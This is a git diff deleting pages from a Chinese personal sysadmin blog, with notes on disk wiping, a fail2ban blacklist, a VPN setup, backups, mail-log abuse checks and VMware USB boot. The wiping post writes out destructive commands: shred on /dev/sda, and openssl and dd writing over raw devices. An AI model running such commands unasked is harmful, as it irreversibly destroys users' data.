    Update

    - -

    後來發現,其實內建的shred指令就可以做到了,而且速度更快~

    - -

    shred -v -n 10000(抹除 10000次) -u -v /dev/sda

    - -

    用iftop 看,大概都能維持在300M 左右的寫入速度

    - -

     

    - -

    實際跑起來,從 iotop 上看到的數據,似乎是比 dd 要來得快~

    - -

    http://superuser.com/questions/19326/how-to-wipe-free-disk-space-in-linux

    - -

    Wipe a drive at top speed.

    - -

    Typical instructions for encrypting a drive nowadays will tell you to first WIPE the drive.

    - -

    The command below will fill your drive with AES ciphertext.

    - -

    Use a live CD if you need to wipe your main boot drive.

    - -

    Open a terminal and elevate your privileges:

    - -
    sudo bash
    -`</pre>
    -Let us list all drives on the system to be safe:
    -<pre>`cat /proc/partitions
    -`</pre>
    -NOTE: Replace<span class="Apple-converted-space"> </span>`/dev/sd{x}`<span class="Apple-converted-space"> </span>with the device you wish to wipe.
    -
    -WARNING: This is not for amateurs! You could make your system unbootable!!!
    -
    -`sudo openssl enc -aes-256-ctr -pass pass:"$(dd if=/dev/urandom bs=128 count=1 2&gt;/dev/null | base64)" -nosalt &lt; /dev/zero &gt; /dev/sd{x} `
    -
    -&nbsp;
    -
    -&nbsp;
    -
    -另外有一段也可以參考
    -> &nbsp;
    -
    - -
    -
    <pre>`# Install the secure-delete package (sfill command).
    -
    -
    -# To see progress type in new terminal:
    -
    -# watch -n 1 df -hm
    -
    -
    -# Assuming that there is one partition (/dev/sda1). sfill writes to /.
    -
    -# The second pass writes in current directory and synchronizes data.
    -
    -# If you have a swap partition then disable it by editing /etc/fstab
    -
    -# and use "sswap" or similar to wipe it out.
    -
    -
    -# Some filesystems such as ext4 reserve 5% of disk space
    -
    -# for special use, for example for the /home directory.
    -
    -# In such case sfill won't wipe out that free space. You
    -
    -# can remove that reserved space with the tune2fs command.
    -
    -# See http://superuser.com/a/150757
    -
    -# and https://www.google.com/search?q=reserved+space+ext4+sfill
    -
    -
    -sudo tune2fs -m 0 /dev/sda1
    -
    -sudo tune2fs -l /dev/sda1 | grep 'Reserved block count'
    -
    -
    -sudo sfill -vfllz /
    -
    -
    -# sfill with the -f (fast) option won't synchronize the data to
    -
    -# make sure that all was actually written. Without the fast option
    -
    -# it is way too slow, so doing another pass in some other way with
    -
    -# synchronization. Unfortunately this does not seem to be perfect,
    -
    -# as I've watched free space by running the "watch -n 1 df -hm"
    -
    -# command and I could see that there was still some available space
    -
    -# left (tested on a SSD drive).
    -
    -
    -dd if=/dev/zero of=zero.small.file bs=1024 count=102400
    -
    -dd if=/dev/zero of=zero.file bs=1024
    -
    -sync ; sleep 60 ; sync
    -
    -rm zero.small.file
    -
    -rm zero.file
    -
    -
    -sudo tune2fs -m 5 /dev/sda1
    -
    -sudo tune2fs -l /dev/sda1 | grep 'Reserved block count'
    -
    -
    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8centos-6-x-e4-b8-8a-e7-94-a8smokeping-e6-aa-a2-e6-9f-a5-e6-a9-9f-e5-99-a8-e6-98-af-e5-90-a6-e5-9c-a8-e9-81-8b-e4-bd-9c/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8centos-6-x-e4-b8-8a-e7-94-a8smokeping-e6-aa-a2-e6-9f-a5-e6-a9-9f-e5-99-a8-e6-98-af-e5-90-a6-e5-9c-a8-e9-81-8b-e4-bd-9c/index.html deleted file mode 100644 index e90c8b8d..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8centos-6-x-e4-b8-8a-e7-94-a8smokeping-e6-aa-a2-e6-9f-a5-e6-a9-9f-e5-99-a8-e6-98-af-e5-90-a6-e5-9c-a8-e9-81-8b-e4-bd-9c/index.html +++ /dev/null @@ -1,397 +0,0 @@ - - - - - - - - - - [筆記] 在Centos 6.x上用Smokeping 檢查機器是否在運作 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - - - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8fail2ban-e4-b8-ad-e5-8a-a0-e5-85-a5-e6-89-8b-e5-8b-95-e7-b6-ad-e8-ad-b7-e7-9a-84-e9-bb-91-e5-90-8d-e5-96-ae/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8fail2ban-e4-b8-ad-e5-8a-a0-e5-85-a5-e6-89-8b-e5-8b-95-e7-b6-ad-e8-ad-b7-e7-9a-84-e9-bb-91-e5-90-8d-e5-96-ae/index.html deleted file mode 100644 index 6e125051..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8fail2ban-e4-b8-ad-e5-8a-a0-e5-85-a5-e6-89-8b-e5-8b-95-e7-b6-ad-e8-ad-b7-e7-9a-84-e9-bb-91-e5-90-8d-e5-96-ae/index.html +++ /dev/null @@ -1,447 +0,0 @@ - - - - - - - - - - [筆記] 在fail2ban中加入手動維護的黑名單 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在fail2ban中加入手動維護的黑名單

    -
    - - - 2016-12-20 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    fail2ban 在linux上是個很好用的軟體,可以幫忙阻絕很多沒事幹在亂踹的IP

    - -

    但是很奇怪的是,在實務上會發現,有些IP會一再出現

    - -

    有可能是被關了之後,時間到就放出來了吧…

    - -

    加上之前手邊有自行維護了一堆黑名單

    - -

    就想看看能不能把這些黑名單給加入fail2ban中

    - -

    作法如下

    - -

     

    - -

    建立一個黑名單檔案

    - -

    vim /etc/fail2ban/ip.blacklist

    - -

    把手邊的黑名單都貼進去存檔

    - -

    接著修改 /etc/fail2ban/action.d/iptables-multiport.conf

    - -

    找到 actionstart的部分

    - -

    加入 -> cat /etc/fail2ban/ip.blacklist | while read IP; do iptables -I f2b-<name> 1 -s $IP -j DROP; done -修改後的 actionstart 區段看起來會像是這樣

    - -

    2016-12-20_15-12-42

    - -

    這一段是讓fail2ban 啟動的時候,會去檢查剛剛建立的 ip.blacklist 黑名單,然後把黑名單裡面的IP都丟去iptables 給擋掉

    - -

    再來是修改actionban的部分,加入 -> echo <ip> >> /etc/fail2ban/ip.blacklist -這是讓fail2ban 偵測並阻擋IP後,會自動把IP加入黑名單中

    - -

    2016-12-20_15-17-39

    - -

     

    - -

    這樣子應該就可以了…(吧) ….

    - -

     

    - -

    參考網址:https://zach.seifts.us/posts/2013/07/14/how-make-fail2ban-bans-persistent

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8google-compute-engine-e4-b8-8a-e5-bb-ba-e7-ab-8b-centos-6-e5-ae-89-e8-a3-9d-softether-vpn-e6-8f-90-e4-be-9b-pptpl2tp-e6-9c-8d-e5-8b-99/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8google-compute-engine-e4-b8-8a-e5-bb-ba-e7-ab-8b-centos-6-e5-ae-89-e8-a3-9d-softether-vpn-e6-8f-90-e4-be-9b-pptpl2tp-e6-9c-8d-e5-8b-99/index.html deleted file mode 100644 index 3f035012..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8google-compute-engine-e4-b8-8a-e5-bb-ba-e7-ab-8b-centos-6-e5-ae-89-e8-a3-9d-softether-vpn-e6-8f-90-e4-be-9b-pptpl2tp-e6-9c-8d-e5-8b-99/index.html +++ /dev/null @@ -1,452 +0,0 @@ - - - - - - - - - - [筆記] 在Google Compute Engine 上建立 CentOS 6 安裝 SoftEther VPN 提供 PPTP/L2TP 服務 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在Google Compute Engine 上建立 CentOS 6 安裝 SoftEther VPN 提供 PPTP/L2TP 服務

    -
    - - - 2015-03-17 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    每次為了SEO想標題都要想很久…

    - -

    之前在 Linode / Vultr / DigitalOcean 上建立  PPTP 讓家裡的 OVO 電視盒可以透過VPN連線去看影片,效果都不怎樣..

    - -

    晚上回家看影片還是時好時壞…

    - -

    一怒之下,想到了 Google COmpute Engine 這東西…不限頻寬不限流量耶,開玩笑!

    - -

    而且這是公司的帳號,可以光明正大的偷渡費用? 

    - -

    - -

    不過測試了好幾次, PPTP 確定是google 的人有回應說不支援 GRE 協議了,所以 PPTP 出局

    - -

    L2TP 則是找了好幾篇文章參考都弄不起來,最後找到了這個 SoftEnter VPN

    - -

    安裝方法參考這篇 Install Guide

    - -

    另外也參考了這篇大陸網民寫的文章

    - -

    SoftEther VPN——Linux下搭建VPN可以如此简单

    - -

    主要是參考他的 SoftEther VPN Server 管理器 的段落,這次就很順利的架起來了!

    - -

    在iphone 上設定一個L2TP的VPN,連上之後去抓百度雲裡面的影片,下載速度大概都維持在 1M多

    - -

    也許晚點再來測試看看直接透過 4G連線的速度,搞不好還比較快?

    - -

     

    - -

    2015-03-17_15-30-46

    - -

     

    - -

    Google Developers Console 上看到的網路流量圖,可以確認手機的確是透過這台VPN的網路抓資料..

    - -

    只是不曉得極速能跑到多少..

    - -

     

    - -

    2015-03-17_15-42-04

    - -

     

    - -

    Update

    - -

    去抓 FreeBSD ISO 時的流量,超過 10Mb

    - -

    2015-03-17_16-08-01

    - -

    手機上不透過 VPN 直接抓百度雲盤內的影片,速度大概只有 四五百 Kb

    - -

    2015-03-17_16-08-51

    - -

     

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8kvm-vps-e4-b8-8a-e9-80-8f-e9-81-8e-fuse-sshfs-pdumpfs-e5-81-9a-e7-95-b0-e5-9c-b0-e5-82-99-e6-8f-b4/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8kvm-vps-e4-b8-8a-e9-80-8f-e9-81-8e-fuse-sshfs-pdumpfs-e5-81-9a-e7-95-b0-e5-9c-b0-e5-82-99-e6-8f-b4/index.html deleted file mode 100644 index 5d74453b..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8kvm-vps-e4-b8-8a-e9-80-8f-e9-81-8e-fuse-sshfs-pdumpfs-e5-81-9a-e7-95-b0-e5-9c-b0-e5-82-99-e6-8f-b4/index.html +++ /dev/null @@ -1,508 +0,0 @@ - - - - - - - - - - [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]在KVM VPS上透過 fuse-sshfs + pdumpfs 做wordpress異地備援

    -
    - - - 2013-03-22 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    因為之前手賤,把原有的BLOG的資料檔都砍光光,雖然文章內容都還留著,但是圖片都變成叉燒包了 Too Sad

    - -

    不過換到新的WP之後,發現多了好多布景主題可以用,現在用的這個我就覺得很棒!Big Smile

    - -

    也為了要避免再次發生之前手殘的錯誤,所以一直在找一些異地備援的方式。

    - -

    Wordpress本身的外掛雖然有很多號稱可以透過FTP之類的方式把備份檔案丟去其他地方

    - -

    但測試了幾個之後,發現要不就是沒有定時的功能,要不就是要額外收費。

    - -

    想來想去,還是乾脆自己在console下備份比較能掌握。

    - -

    之前有玩過lsync,這次改用另外一招 sshfs + pdumpfs 來作作看

    - -

    - -

    一開始在這台主機上要安裝fuse-sshfs 就碰到了很多問題,yum沒有預設,要另外下載,COMPILE又發生沒compiler的狀況,一一排除後,卻出現一個無解的問題。 -> fuse: failed to open /dev/fuse: Permission denied -翻了GOOGLE,大部分的解法都是把執行的帳號加入fuse群組

    - -

    問題是,我是用 root  執行,不應該會有這種權限的錯誤才對

    - -

    最後發現是因為openvz的VPS的關係,所以不能在這台去執行..So Tired

    - -

    好吧,反正我是要異地備援,那我去另一台KVM的VPS安裝總可以了吧!

    - -

    安裝過程就跟其他用yum安裝的軟體一樣(yum 真是好用!以前都還要自己解相依性的問題..) -> yum install -y pdumpfs fuse-sshfs -接著在remote 端建立備份用的目錄還有mount用的目錄 -> mkdir /usr/local/abc_backup -> -> -> mkdir /abc_backup -然後先把remote 端的目錄結構用sshfs mount 到/abc_backup -> sshfs abc@abc.com:/ /abc_backup/ -p 222 -這樣的指令會要求輸入密碼,要怎麼把密碼放進去,還要再研究。

    - -

    好了之後就看一下是不是有沒有正確掛載 -> ls -la /abc_backup -正常的話應該就會看到remote端的目錄結構了

    - -

    接下來換pdumpfs 上場

    - -

    pdumpfs的介紹可以看官網 http://0xcc.net/pdumpfs/index.html.en

    - -

    簡單說就是rsync搭配time stamp + hard link 做到差異備份這樣

    - -

    指令也很簡單 -> pdumpfs /abc_backup /usr/local/abc_backup -一行就搞定了!

    - -

    pdumpfs 可用的參數如下,真的很簡單! -> Usage: pdumpfs SRC DEST [BASE] -> -> -e, –exclude=PATTERN exclude files/directories matching PATTERN -> -> -s, –exclude-by-size=SIZE exclude files larger than SIZE -> -> -w, –exclude-by-glob=GLOB exclude files matching GLOB -> -> -l, –log-file=FILE write a log to FILE -> -> -v, –version print version information and exit -> -> -q, –quiet suppress all normal output -> -> -n, –dry-run don’t actually run any commands -> -> -h, –help show this help message -沒信心的話,可以用 -n 試跑一次看看

    - -

    確定之後再寫到crontab裡面去!

    - -

    簡單整理步驟如下

    - -

    1.在要備份的機器上,先寫好mysql dump的crontab,大概長這樣,記得要自己加入日期參數之類的 -> mysqladmin -uroot -pxxxxx wordpress > /123/wp.sql -2.在備份目的的機器上,安裝sshfs / pdumpfs

    - -

    3.在備份目的機器上,建立掛載用的目錄/abc 還有備份用的目錄/usr/local/backup/abc

    - -

    4.用sshfs掛載遠端目錄到/abc

    - -

    5.用pdumpfs 把掛載進來的遠端目錄底下的 /123/wp.sql 還有 /var/www/html/wp 都備份到 /usr/local/backup/abc

    - -

    6.測試完成後,在備份目的機器上,寫入crontab

    - -

    大功告成!

    - -

    我這兩個國外的VPS在互連,平均速率幾乎都在4Mb/5Mb ,拋資料真的很快!

    - -

     

    - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8maillog-e4-b8-ad-e5-bf-ab-e9-80-9f-e6-89-be-e5-87-ba-e5-be-9e-e5-a4-96-e9-83-a8-e5-88-a9-e7-94-a8sasl-e8-aa-8d-e8-ad-89-e7-99-bc-e4-bf-a1-e7-9a-84-e5-b8-b3-e8-99-9f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8maillog-e4-b8-ad-e5-bf-ab-e9-80-9f-e6-89-be-e5-87-ba-e5-be-9e-e5-a4-96-e9-83-a8-e5-88-a9-e7-94-a8sasl-e8-aa-8d-e8-ad-89-e7-99-bc-e4-bf-a1-e7-9a-84-e5-b8-b3-e8-99-9f/index.html deleted file mode 100644 index bbd529a3..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8maillog-e4-b8-ad-e5-bf-ab-e9-80-9f-e6-89-be-e5-87-ba-e5-be-9e-e5-a4-96-e9-83-a8-e5-88-a9-e7-94-a8sasl-e8-aa-8d-e8-ad-89-e7-99-bc-e4-bf-a1-e7-9a-84-e5-b8-b3-e8-99-9f/index.html +++ /dev/null @@ -1,429 +0,0 @@ - - - - - - - - - - [筆記]在MAILLOG中快速找出從外部利用SASL認證發信的帳號及IP | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記]在MAILLOG中快速找出從外部利用SASL認證發信的帳號及IP

    -
    - - - 2013-11-13 - - - - - - - - - 未分類 - - - - - -
    - - - - -

    找出來之後,再去判斷這個人是否有需要,是否真的會在外部發信。

    - -

      -> cat maillog-20131027 |grep sasl|grep -v 192.168 - 

    - -

    Oct 26 01:24:17 SH-DNS-FC14 postfix/smtpd[25649]: C2A1A88E5E: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:18 SH-DNS-FC14 postfix/smtpd[25645]: 931E388E5F: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:20 SH-DNS-FC14 postfix/smtpd[25645]: 9B15488E60: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:31 SH-DNS-FC14 postfix/smtpd[25645]: A957B88E69: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25648]: D7D2788E6A: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25649]: D9C1488E6B: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25647]: DAFD188E6C: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:32 SH-DNS-FC14 postfix/smtpd[25650]: DC24988E6D: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:36 SH-DNS-FC14 postfix/smtpd[25645]: AA62088E6F: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:37 SH-DNS-FC14 postfix/smtpd[25648]: DA31F88E73: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:37 SH-DNS-FC14 postfix/smtpd[25647]: DA38088E74: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:37 SH-DNS-FC14 postfix/smtpd[25649]: DA5E988E75: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:37 SH-DNS-FC14 postfix/smtpd[25650]: E1C2888E76: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:38 SH-DNS-FC14 postfix/smtpd[25645]: E524388E77: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy -Oct 26 01:24:40 SH-DNS-FC14 postfix/smtpd[25645]: ECC7B88E7A: client=23-24-225-177-static.hfc.comcastbusiness.net[23.24.225.177], sasl_method=LOGIN, sasl_username=cindy

    - -

    像這樣,短時間內大量發信,肯定就是USER的帳號密碼被猜到了,先改密碼或者把帳號砍掉,接下來封這些IP,再叫USER換一組強度高一點的密碼。

    - -

    如果被打得很有經驗,手邊應該會有非常多的IP要封鎖,可以參考底下這篇文章用iptables把這些IP都擋掉

    - -

    [教學] 自動透過 iptables 封鎖 IP 黑名單

    - -

    程式不難,看一下大概就知道怎麼改了,我是改成自己手邊的黑名單(算一算也有上百個吧)….

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8vmware-player-e4-b8-ad-ef-bc-8c-e9-80-8f-e9-81-8e-e6-9c-ac-e6-a9-9fusb-e9-9a-a8-e8-ba-ab-e7-a2-9f-e9-96-8b-e6-a9-9f-e7-9a-84-e6-96-b9-e5-bc-8f/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8vmware-player-e4-b8-ad-ef-bc-8c-e9-80-8f-e9-81-8e-e6-9c-ac-e6-a9-9fusb-e9-9a-a8-e8-ba-ab-e7-a2-9f-e9-96-8b-e6-a9-9f-e7-9a-84-e6-96-b9-e5-bc-8f/index.html deleted file mode 100644 index 2568be9d..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-9c-a8vmware-player-e4-b8-ad-ef-bc-8c-e9-80-8f-e9-81-8e-e6-9c-ac-e6-a9-9fusb-e9-9a-a8-e8-ba-ab-e7-a2-9f-e9-96-8b-e6-a9-9f-e7-9a-84-e6-96-b9-e5-bc-8f/index.html +++ /dev/null @@ -1,491 +0,0 @@ - - - - - - - - - - [筆記] 在VMWARE Player中,透過本機USB隨身碟開機的方式 | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 在VMWARE Player中,透過本機USB隨身碟開機的方式

    -
    - - - 2013-04-10 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    VMWARE PLAYER真的是超級方便的免費軟體,一直以來我都用來系統測試、開發新功能。

    - -

    在之前筆電更換成Plextor 256G SSD以後,整個更是如虎添翼,虛擬機開起來比大部分的辦公室電腦還快! Big Smile

    - -

    不過咧,還是有一些缺點的,比如說,不能直接用接在本機的USB隨身碟開機!

    - -

    現在不管是測試Linux版本或者是安裝Win7/8 ,我都是用隨身碟來作。

    - -

    Win7的安裝光碟漸漸因為筆電的體積縮小,不再搭載光碟機、還有桌機都改買品牌電腦的緣故,慢慢消失在我的桌上了。

    - -

    但是!人生就是這個但是啊!

    - -

    之前終於讓我找到了解決方法,簡單來說,就是先用一個特殊的ISO開機,然後connect mass storage,再從開機選單中選擇USB,就可以了。操作畫面如下

    - -

    準備事項

    - -

    1.一隻可開機的USB隨身碟

    - -

    可開機隨身碟,我都是用 YUMI 來製作,真的很好用!

    - -

    2.VMWARE PLAYER

    - -

    直接到官網DOWNLOAD吧,不用錢的!不過要註冊帳號唷!

    - -

    前往下載VMWARE PLAYER

    - -

    3.Plop Boot Manager

    - -

    這次的重點,用來建立一個可以抓到本機USB隨身碟的臨時作業環境

    - -

    官網:http://www.plop.at/en/bootmanager/index.html

    - -

    下載網頁:http://www.plop.at/en/bootmanager/download.html

    - -

     

    - -
    - -

    開始進行測試

    - -

    1.建立一個新VM

    - -

    01-create-a-new-vm

    - -

    2.選擇剛剛下載的 Boot Manager ISO檔案

    - -

    02-select-iso-file

    - -

    03-select-plpbt-iso-file

    - -

    3.選擇「將要從隨身碟安裝的OS」

    - -

    04-select-guest-os

    - -

    4.選擇VM的名字,還有要存放VM檔案的目錄

    - -

    05-select-save-location

    - -

    5.選擇磁碟機大小

    - -

    06-disk-capacity

    - -

    6.完成設定

    - -

    07-finish-create

    - -

    VM設定結束

    - -
    - -

     

    - -

    接著把VM開起來,注意右上角有個箭頭符號,點下去會有虛擬機的硬體裝置列,一開始沒注意這邊,結果找好久都找不到。Furious

    - -

    08-boot-from-plpbt

    - -

    點開之後,會看到一排虛擬機的硬體狀態,其中有一個是MASS STORAGE Device ,在這個圖示上按右鍵,選Connect

    - -

    09-connect-usb-mass-storage

    - -

    注意看的話會發現連接後,圖示會變得不一樣

    - -

    10-icon-after-connect

    - -

    接下來就移動游標到USB,按下ENTER,就可以從本機上的USB隨身碟開機啦!

    - -

    11-select-usb-to-boot

    - -

    12-boot-from-usb

    - -
    - -

     

    - -

    有了這方法之後,要從USB開機就再也不是不可能的夢想了,可以省去很多製作ISO檔的時間!

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
    - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - diff --git a/themes/public/article/e7-ad-86-e8-a8-98-e5-a5-bd-e7-94-a8pdf-e8-bd-89-e6-aa-94-e3-80-81-e8-be-a8-e8-ad-98ocr-e8-bb-9f-e9-ab-94-asieesoft-pdf-converter-ultimate/index.html b/themes/public/article/e7-ad-86-e8-a8-98-e5-a5-bd-e7-94-a8pdf-e8-bd-89-e6-aa-94-e3-80-81-e8-be-a8-e8-ad-98ocr-e8-bb-9f-e9-ab-94-asieesoft-pdf-converter-ultimate/index.html deleted file mode 100644 index a21bbb06..00000000 --- a/themes/public/article/e7-ad-86-e8-a8-98-e5-a5-bd-e7-94-a8pdf-e8-bd-89-e6-aa-94-e3-80-81-e8-be-a8-e8-ad-98ocr-e8-bb-9f-e9-ab-94-asieesoft-pdf-converter-ultimate/index.html +++ /dev/null @@ -1,495 +0,0 @@ - - - - - - - - - - [筆記] 好用PDF轉檔、辨識(OCR) 軟體 Aiseesoft PDF Converter Ultimate | My cool new Blog - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
    -
    - -
    -

    My cool new Blog

    - - Hello World! This is the most epic subtitle ever. - -
    - -
    - - - en - - - - de - - -
    - - - -
    - - -
    -
    -
    - - -
    - - -
    - - - - - -
    - - -
    -

    [筆記] 好用PDF轉檔、辨識(OCR) 軟體 Aiseesoft PDF Converter Ultimate

    -
    - - - 2014-02-21 - - - - - - - - - 工作筆記 - - - - - -
    - - -

    昨天在臉書上看到 freegroup 貼了這麼一篇消息 (臉書連結)

    - -

    Aiseesoft PDF Converter Ultimate 內建 OCR 辨識功能的 PDF 轉檔軟體,限時免費下載

    - -

    因為工作上很常碰到同事拿國外的PDF來給我,問說能不能轉成WORD / EXCEL /PPT ,因為要再次「編輯」內容

    - -

    如果原檔是從OFFICE直接轉PDF,那就還有些許機會,但是如果在PDF中,沒有辦法去選取文字,就代表檔案是以圖形列印的方式轉成PDF

    - -

    這種的幾乎就沒有辦法處理。

    - -

    不過看到了上面那篇連結以及作者的回覆(有繁體中文OCR的選項)之後,我就想說來試試看好了。

    - -

    底下是測試的內容

    - -

    原檔: Word 2013 製作的 原稿  p.s 瑤瑤真的好正啊 Still Dreaming~~~~

    - -

    內容大概是這樣

    - -

    原稿內容

    - -

     

    - -

    轉存JPG之後的狀況

    - -

    圖片 6

    - -

     

    - -

    從JPG再轉成 PDF,內容是這樣

    - -

    圖片 7

    - -

     

    - -

    然後進入這個 Asieesoft PDF Converter Ultimate

    - -

    先到設定裡面確認有選擇了繁體中文OCR

    - -

    ..圖片 8

    - -

     

    - -

    確認之後,就選擇PDF進來,然後點下CONVERT按鈕

    - -

    圖片 9

    - -

     

    - -

    得到的結果是這樣,從圖片轉過來的文字,大概成功辨識了有超過九成!

    - -

    算是非常了不起的成果了!值得推薦吶!

    - -

     

    - -

    update

    - -

    補上一篇今天轉的檔案,效果還算不錯,原始檔案是上海的同事傳過來的一個PDF檔,透過PDF Converter Ultimate轉成 docx,在圖片中可以看到簡體字的部分,可以被選取,代表已經轉成文字了

    - -

    內容也都正確無誤的轉過來了!

    - -

    再次強力推薦啦!

    - -

     

    - -

    圖片 3

    - -

     

    - -

    Update 2014/03/20

    - -

    今天在做一些關鍵字排名的東西,有個工具可以把關鍵字目前在網站上的排名抓成列表、匯出PDF

    - -

    可是我想在報告中引用,所以又想到這套工具,就給他拿出來轉轉看

    - -

    果然效果還是很不錯的,雖然不是100%轉成功,但是絕大部分都有正確的轉成中文字了!真的是大推啊!

    - -

    keywork ranking

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - -

     

    - - -
    - - - - -
    - - -
    - - -
    - - -comments powered by Disqus - - - - -
